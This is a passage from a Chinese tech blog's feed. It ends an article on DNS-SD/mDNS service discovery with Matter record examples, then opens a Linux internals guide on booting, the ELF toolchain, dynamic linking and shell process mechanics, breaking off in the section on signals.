服务提供者自注册。该信息通常包括服务名称、类型（如 &quot;_http._tcp&quot;）、端口号、及其他附加参数。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;服务发现&lt;&#x2F;strong&gt;：
客户端在本地网络中查询特定类型的服务。例如，客户端广播一个查询，想找到所有的 &quot;_http._tcp&quot; 服务。其它设备收到这个查询后，会响应其提供的服务信息。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;服务解析&lt;&#x2F;strong&gt;：
客户端在发现服务后，可以进一步解析获取具体的服务细节。例如，从服务名称解析出具体的 IP 地址和端口号。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;dns-sd-ji-lu-lei-xing&quot;&gt;DNS-SD 记录类型&lt;&#x2F;h3&gt;
&lt;p&gt;DNS-SD 中采用了多个特定的 DNS 记录类型来进行服务的发现和信息传递：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PTR 记录&lt;&#x2F;strong&gt;：用于枚举网络中某一类型的所有服务。例如，&quot;_http._tcp.local&quot; PTR 记录列出了网络中所有的 HTTP 服务。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;SRV 记录&lt;&#x2F;strong&gt;：提供具体的服务主机名和端口信息；每个服务有一个或者多个 SRV 记录。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;TXT 记录&lt;&#x2F;strong&gt;：用来存储与服务相关的任意文本信息，如服务的配置选项等。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;A&#x2F;AAAA 记录&lt;&#x2F;strong&gt;：将服务主机名解析为一个或多个 IP 地址。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;xian-zhi&quot;&gt;限制&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;局域网范围&lt;&#x2F;strong&gt;：DNS-SD 和 mDNS 一般只在局域网内工作，因为它们使用多播地址。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;名称冲突&lt;&#x2F;strong&gt;：多个设备在同一个局域网内提供相同名称服务时，会发生名称冲突，需要进行名称分配和冲突解决机制。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;shi-yong-chang-jing&quot;&gt;使用场景&lt;&#x2F;h3&gt;
&lt;p&gt;DNS-SD 被广泛应用于各种需要自动发现网络服务的应用环境，如家庭网络、办公室局域网、多媒体设备连接等。例如：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Apple 的 Bonjour 服务发现技术就是基于 DNS-SD 和 mDNS 实现的。&lt;&#x2F;li&gt;
&lt;li&gt;各种智能家居设备和 IoT 设备的互联互通，比如Matter。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;shi-li-1&quot;&gt;示例&lt;&#x2F;h3&gt;
&lt;p&gt;下面通过一个示例详细描述Matter协议中如何使用DNS-SD进行服务发现和解析。如果Matter设备可以预先接入局域网，并且没有提供蓝牙、Thread等模式，那么就只能通过DNS-SD进行设备发现。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;1-fu-wu-zhu-ce&quot;&gt;1. 服务注册&lt;&#x2F;h4&gt;
&lt;p&gt;假设一个Matter设备注册其服务信息，服务类型为&quot;_matter._tcp&quot;。为了便于理解，以下描述仅为了展示流程，实际上Matter使用DNS-SD会比下面的描述要复杂，字段里面会含有更多的信息，实际流程是一样的：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;PTR记录&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;_matter._tcp.local.  IN PTR  Device-1234._matter._tcp.local.&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;SRV记录&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;Device-1234._matter._tcp.local.  IN SRV 0 0 5555 Device-1234.local.&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;TXT记录&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;Device-1234._matter._tcp.local.  IN TXT  &quot;model=abc123&quot; &quot;version=1.0&quot;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;A&#x2F;AAAA记录&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;Device-1234.local.  IN A  192.168.1.100 Device-1234.local.  IN AAAA  fe80::1&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-fu-wu-fa-xian&quot;&gt;2. 服务发现&lt;&#x2F;h4&gt;
&lt;p&gt;客户端设备发送DNS-SD查询，寻找服务类型为&quot;_matter._tcp&quot;的设备：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;DNS查询&lt;&#x2F;strong&gt;：
&lt;code&gt;_matter._tcp.local.  IN  PTR&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;接收查询响应&lt;&#x2F;strong&gt;：
&lt;code&gt;_matter._tcp.local.  IN PTR  Device-1234._matter._tcp.local.&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;3-fu-wu-jie-xi&quot;&gt;3. 服务解析&lt;&#x2F;h4&gt;
&lt;p&gt;客户端解析服务实例&quot;Device-1234._matter._tcp.local.&quot;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SRV记录解析&lt;&#x2F;strong&gt;：
&lt;code&gt;Device-1234._matter._tcp.local.  IN SRV 0 0 5555 Device-1234.local.&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;TXT记录解析&lt;&#x2F;strong&gt;：
&lt;code&gt;Device-1234._matter._tcp.local.  IN TXT  &quot;model=abc123&quot; &quot;version=1.0&quot;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;A&#x2F;AAAA记录解析&lt;&#x2F;strong&gt;：
&lt;code&gt;Device-1234.local.  IN A  192.168.1.100 Device-1234.local.  IN AAAA  fe80::1&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;dns-sdzai-matterzhong-de-you-dian&quot;&gt;DNS-SD在Matter中的优点&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;即插即用&lt;&#x2F;strong&gt;：无需预配置，设备可自动广播和发现服务。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;跨厂商互操作性&lt;&#x2F;strong&gt;：基于标准的DNS协议，确保不同厂商设备之间的互操作性。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;动态更新&lt;&#x2F;strong&gt;：支持设备上线、下线时动态更新服务信息。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>硬核挑战：如果说精通 Linux 有段位，这份文档直接拉满宗师级</title>
        <published>2025-12-12T00:00:00+00:00</published>
        <updated>2025-12-12T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/硬核挑战-如果说精通-linux-有段位-这份文档直接拉满宗师级/"/>
        <id>https://vercel.juzhong.asia/obsidian/硬核挑战-如果说精通-linux-有段位-这份文档直接拉满宗师级/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/硬核挑战-如果说精通-linux-有段位-这份文档直接拉满宗师级/">&lt;h1 id=&quot;ying-he-tiao-zhan-ru-guo-shuo-jing-tong-linux-you-duan-wei-zhe-fen-wen-dang-zhi-jie-la-man-zong-shi-ji&quot;&gt;硬核挑战：如果说精通 Linux 有段位，这份文档直接拉满宗师级&lt;&#x2F;h1&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;di-yi-juan-hun-dun-chu-kai-qi-dong-gong-ju-lian-yu-gou-jian-xi-tong-shen-du-zhan-kai-ban&quot;&gt;&lt;strong&gt;第一卷：混沌初开 —— 启动、工具链与构建系统 (深度展开版)&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;本卷目标：在代码还没跑起来之前，理解代码是如何变成二进制，以及二进制是如何被加载并控制 CPU 的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;di-yi-zhang-cong-an-xia-dian-yuan-dao-login-prompt-the-boot-process&quot;&gt;&lt;strong&gt;第一章：从按下电源到 Login Prompt (The Boot Process)&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;大多数工程师只知道“BIOS -&amp;gt; MBR -&amp;gt; Bootloader -&amp;gt; Kernel”。宗师级需要掌握每一步的寄存器状态和内存布局。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-1-gu-jian-ceng-firmware-phase&quot;&gt;&lt;strong&gt;1.1 固件层 (Firmware Phase)&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=267542629&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=UEFI&amp;amp;zhida_source=entity&quot;&gt;UEFI&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; &lt;strong&gt;(Unified Extensible Firmware Interface)&lt;&#x2F;strong&gt; :&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PE&#x2F;COFF 格式&lt;&#x2F;strong&gt;：UEFI 应用其实就是 Windows 的 PE 格式。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;GPT (GUID Partition Table)&lt;&#x2F;strong&gt; ：放弃 MBR 的 512 字节限制。理解 LBA0 (Protective MBR) 和 LBA1 (GPT Header) 的结构。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;SEC&#x2F;PEI&#x2F;DXE&#x2F;BDS 阶段&lt;&#x2F;strong&gt;：理解 UEFI 的初始化阶段，特别是&lt;strong&gt;DXE (Driver Execution Environment)&lt;&#x2F;strong&gt; ，这是为什么现代 BIOS 可以支持鼠标和网络的原因。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;深度思考&lt;&#x2F;em&gt;：为什么 Secure Boot 需要签名？公钥存在哪？(PK, KEK, db, dbx)。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;1-2-yin-dao-jia-zai-ceng-bootloader-grub2&quot;&gt;&lt;strong&gt;1.2 引导加载层 (Bootloader -&lt;&#x2F;strong&gt; &lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=267542629&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=GRUB2&amp;amp;zhida_source=entity&quot;&gt;GRUB2&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; &lt;strong&gt;)&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;GRUB2 架构&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Stage 1 (boot.img)&lt;&#x2F;strong&gt; ：写入 MBR&#x2F;GPT 前 440 字节，除了加载 Stage 1.5&#x2F;2 啥也干不了。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Stage 1.5 (core.img)&lt;&#x2F;strong&gt; ：位于 MBR 和第一个分区之间的空隙。包含文件系统驱动 (ext4&#x2F;xfs driver)，否则无法读取 &lt;code&gt;&#x2F;boot&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Stage 2&lt;&#x2F;strong&gt;：读取 &lt;code&gt;&#x2F;boot&#x2F;grub&#x2F;grub.cfg&lt;&#x2F;code&gt;，加载内核镜像 (&lt;code&gt;vmlinuz&lt;&#x2F;code&gt;) 和初始内存盘 (&lt;code&gt;initrd&#x2F;initramfs&lt;&#x2F;code&gt;) 到内存。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;1-3-nei-he-chu-shi-hua-ceng-kernel-initialization&quot;&gt;&lt;strong&gt;1.3 内核初始化层 (Kernel Initialization)&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;这是源码分析的起点：&lt;code&gt;arch&#x2F;x86&#x2F;boot&#x2F;header.S&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;实模式到保护模式&lt;&#x2F;strong&gt;：CPU 从 16-bit Real Mode 切换到 32-bit Protected Mode，再到 64-bit Long Mode。开启 A20 地址线，设置 GDT (Global Descriptor Table)。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;解压内核&lt;&#x2F;strong&gt;：&lt;code&gt;vmlinuz&lt;&#x2F;code&gt; 是压缩的 (zImage&#x2F;bzImage)。内核先自解压 (&lt;code&gt;arch&#x2F;x86&#x2F;boot&#x2F;compressed&#x2F;head_64.S&lt;&#x2F;code&gt;)。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;start_kernel()&lt;&#x2F;strong&gt; ：&lt;code&gt;init&#x2F;main.c&lt;&#x2F;code&gt; 中的上帝函数。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;setup_arch()&lt;&#x2F;code&gt;: 探测 CPU 特性，解析内存分布 (e820 map)。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;mm_init()&lt;&#x2F;code&gt;: 初始化内存分配器 (Buddy System)。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;sched_init()&lt;&#x2F;code&gt;: 初始化调度器。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;rest_init()&lt;&#x2F;code&gt;: 创建 PID 1 (init) 和 PID 2 (kthreadd)。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;1-4-yong-hu-kong-jian-chu-shi-hua-user-space-init&quot;&gt;&lt;strong&gt;1.4 用户空间初始化 (User Space Init)&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Initramfs (Initial RAM Filesystem)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;它是一个 CPIO 格式的归档文件。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;目的&lt;&#x2F;strong&gt;：加载挂载根文件系统 (RootFS) 所需的驱动 (如 LVM, RAID, SCSI 模块)。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;实验&lt;&#x2F;em&gt;：使用 &lt;code&gt;lsinitrd&lt;&#x2F;code&gt; 或解压 &lt;code&gt;initramfs&lt;&#x2F;code&gt; 查看里面的 shell 脚本 (&lt;code&gt;init&lt;&#x2F;code&gt;)。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=267542629&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=Systemd&amp;amp;zhida_source=entity&quot;&gt;Systemd&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; &lt;strong&gt;(PID 1)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;并发启动&lt;&#x2F;strong&gt;：Socket Activation 原理。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;依赖树&lt;&#x2F;strong&gt;：Requires, Wants, After, Before。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Cgroups 挂载&lt;&#x2F;strong&gt;：Systemd 将系统资源划分为 slice (System, User, Machine)。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;di-er-zhang-gong-ju-lian-yu-elf-ge-shi-the-toolchain&quot;&gt;&lt;strong&gt;第二章：工具链与&lt;&#x2F;strong&gt; &lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=267542629&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=ELF+%E6%A0%BC%E5%BC%8F&amp;amp;zhida_source=entity&quot;&gt;ELF 格式&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; &lt;strong&gt;(The Toolchain)&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Linux 系统中没有任何魔法，一切皆由工具链构建。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-1-bian-yi-quan-lian-lu-gcc-internals&quot;&gt;&lt;strong&gt;2.1 编译全链路 (****&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=267542629&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=GCC+Internals&amp;amp;zhida_source=entity&quot;&gt;GCC Internals&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; &lt;strong&gt;)&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;命令：&lt;code&gt;gcc -v -save-temps main.c&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;CPP (C Pre-Processor)&lt;&#x2F;strong&gt; ：处理 &lt;code&gt;#include&lt;&#x2F;code&gt;, &lt;code&gt;#define&lt;&#x2F;code&gt;。所有宏在这一步消失。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;CC1 (C Compiler)&lt;&#x2F;strong&gt; ：最核心部分。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;AST (Abstract Syntax Tree)&lt;&#x2F;strong&gt; ：将 C 代码解析为树状结构。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;GIMPLE&#x2F;RTL&lt;&#x2F;strong&gt;：GCC 的中间表示 (IR)。优化 (O2&#x2F;O3) 主要发生在这里（死代码消除、循环展开）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Assembly&lt;&#x2F;strong&gt;：输出 &lt;code&gt;.s&lt;&#x2F;code&gt; 汇编文件。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;AS (Assembler)&lt;&#x2F;strong&gt; ：将汇编转为机器码 relocatable object (&lt;code&gt;.o&lt;&#x2F;code&gt;)。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Collect2 &#x2F; LD (Linker)&lt;&#x2F;strong&gt; ：将多个 &lt;code&gt;.o&lt;&#x2F;code&gt; 和库文件链接成最终可执行文件。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;2-2-elf-wen-jian-shen-du-jie-pou-executable-and-linkable-format&quot;&gt;&lt;strong&gt;2.2 ELF 文件深度解剖 (Executable and Linkable Format)&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;这是理解操作系统加载程序的基石。必须精通 &lt;code&gt;readelf&lt;&#x2F;code&gt; 和 &lt;code&gt;objdump&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;ELF Header&lt;&#x2F;strong&gt;：Magic Number (&lt;code&gt;7F 45 4C 46&lt;&#x2F;code&gt;), 入口地址 (Entry Point)。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Program Headers (Segments)&lt;&#x2F;strong&gt; ：告诉内核如何把文件映射到内存。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;LOAD&lt;&#x2F;code&gt; Segment: 哪些部分需要加载 (R, RW, RX)。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Section Headers (Sections)&lt;&#x2F;strong&gt; ：链接时使用。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;.text&lt;&#x2F;code&gt;: 代码段 (Read-Exec)。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;.data&lt;&#x2F;code&gt;: 已初始化的全局变量 (Read-Write)。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;.bss&lt;&#x2F;code&gt;: 未初始化的全局变量 (占位符，不占磁盘空间)。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;.rodata&lt;&#x2F;code&gt;: 只读数据 (字符串常量)。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;符号表 (Symbols)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;readelf -s&lt;&#x2F;code&gt;。理解 Function, Object, Weak, Strong 符号。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;Name Mangling&lt;&#x2F;em&gt;：C++ 中函数重载如何在符号表中区分。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;2-3-dong-tai-lian-jie-ji-zhi-dynamic-linking&quot;&gt;&lt;strong&gt;2.3 动态链接机制 (Dynamic Linking)&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;这是 Linux 运行时的核心机制。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;PLT&lt;&#x2F;strong&gt; &lt;strong&gt;&amp;amp;&lt;&#x2F;strong&gt; &lt;strong&gt;GOT (延迟绑定技术)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;为什么调用 &lt;code&gt;printf&lt;&#x2F;code&gt; 时，程序不知道 &lt;code&gt;printf&lt;&#x2F;code&gt; 的真实地址？&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;GOT (Global Offset Table)&lt;&#x2F;strong&gt; ：存放绝对地址的数据表。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;PLT (Procedure Linkage Table)&lt;&#x2F;strong&gt; ：一段跳转代码。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;过程&lt;&#x2F;strong&gt;：第一次调用 -&amp;gt; 查 PLT -&amp;gt; 跳到 GOT (此时为空) -&amp;gt; 回跳 PLT -&amp;gt; 呼叫 Dynamic Linker (&lt;code&gt;_dl_runtime_resolve&lt;&#x2F;code&gt;) -&amp;gt; 找到真实地址填入 GOT -&amp;gt; 执行。第二次调用 -&amp;gt; 查 PLT -&amp;gt; 跳到 GOT (已有地址) -&amp;gt; 直接执行。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Interpreter&lt;&#x2F;strong&gt;：&lt;code&gt;&#x2F;lib64&#x2F;ld-linux-x86-64.so.2&lt;&#x2F;code&gt;。是它在程序运行前把依赖库 (&lt;code&gt;libc.so&lt;&#x2F;code&gt;) 加载进内存的。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;di-san-zhang-shell-jie-shi-qi-yu-xi-tong-bian-cheng-ji-shi&quot;&gt;&lt;strong&gt;第三章：Shell 解释器与系统编程基石&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Shell 不是一个简单的应用，它是用户与内核交互的最简接口。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-1-jin-cheng-chuang-jian-mo-xing&quot;&gt;&lt;strong&gt;3.1 进程创建模型&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Fork-Exec 悖论&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;fork()&lt;&#x2F;code&gt;: 复制当前进程（包括打开的文件描述符、内存、环境变量）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;execve()&lt;&#x2F;code&gt;: 丢弃当前进程内存，加载新的 ELF。&lt;&#x2F;li&gt;
&lt;li&gt;为什么不直接 &lt;code&gt;CreateProcess&lt;&#x2F;code&gt;？因为 Fork 允许在 Exec 之前修改子进程配置（如重定向文件描述符、改变信号掩码）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;写时复制 (COW)&lt;&#x2F;strong&gt; ：解释为什么 &lt;code&gt;fork&lt;&#x2F;code&gt; 一个 64GB 内存的进程只需要几毫秒。（只复制了页表，并将 PTE 标记为 Read-Only）。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;3-2-guan-dao-yu-zhong-ding-xiang-de-nei-he-shi-xian&quot;&gt;&lt;strong&gt;3.2 管道与重定向的内核实现&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;文件描述符 (FD)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;它只是 &lt;code&gt;task_struct -&amp;gt; files_struct -&amp;gt; fd_array&lt;&#x2F;code&gt; 数组的索引。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;重定向 (&lt;code&gt;&amp;gt;&lt;&#x2F;code&gt;)
：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;本质是 &lt;code&gt;dup2(fd_file, 1)&lt;&#x2F;code&gt;。将文件描述符 1 (Stdout) 的指针指向了新打开的文件结构体。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;管道 (&lt;code&gt;|&lt;&#x2F;code&gt;)
：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;命令：&lt;code&gt;cmd1 | cmd2&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;内核创建了一个无名管道 (Pipe)，本质是&lt;strong&gt;环形缓冲区 (Ring Buffer)&lt;&#x2F;strong&gt; 。&lt;&#x2F;li&gt;
&lt;li&gt;Shell 执行 &lt;code&gt;fork&lt;&#x2F;code&gt; 两次。&lt;&#x2F;li&gt;
&lt;li&gt;子进程 1：&lt;code&gt;dup2(pipe_write_end, 1)&lt;&#x2F;code&gt; (Stdout -&amp;gt; Pipe)。&lt;&#x2F;li&gt;
&lt;li&gt;子进程 2：&lt;code&gt;dup2(pipe_read_end, 0)&lt;&#x2F;code&gt; (Stdin -&amp;gt; Pipe)。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Pipe Capacity&lt;&#x2F;strong&gt;：默认 64KB。如果 cmd1 写太快，cmd2 读太慢，cmd1 会被阻塞 (Blocked) 在 &lt;code&gt;write()&lt;&#x2F;code&gt; 系统调用上。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;3-3-xin-hao-signals&quot;&gt;&lt;strong&gt;3.3 信号 (Signals)&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;信号是软中断。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;注册&lt;&#x2F;strong&gt;：&lt;code&gt;sigaction()&lt;&#x2F;code&gt; 系统调用。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;传递&lt;&#x2F;strong&gt;：内核在从内核态返回用户态前（如系统调用返回、时钟中断返回），检查 &lt;code&gt;task_struct&lt;&#x2F;code&gt; 的 &lt;code&gt;pending&lt;&#x2F;code&gt; 信号位图。&lt;&#x2F;li&gt;
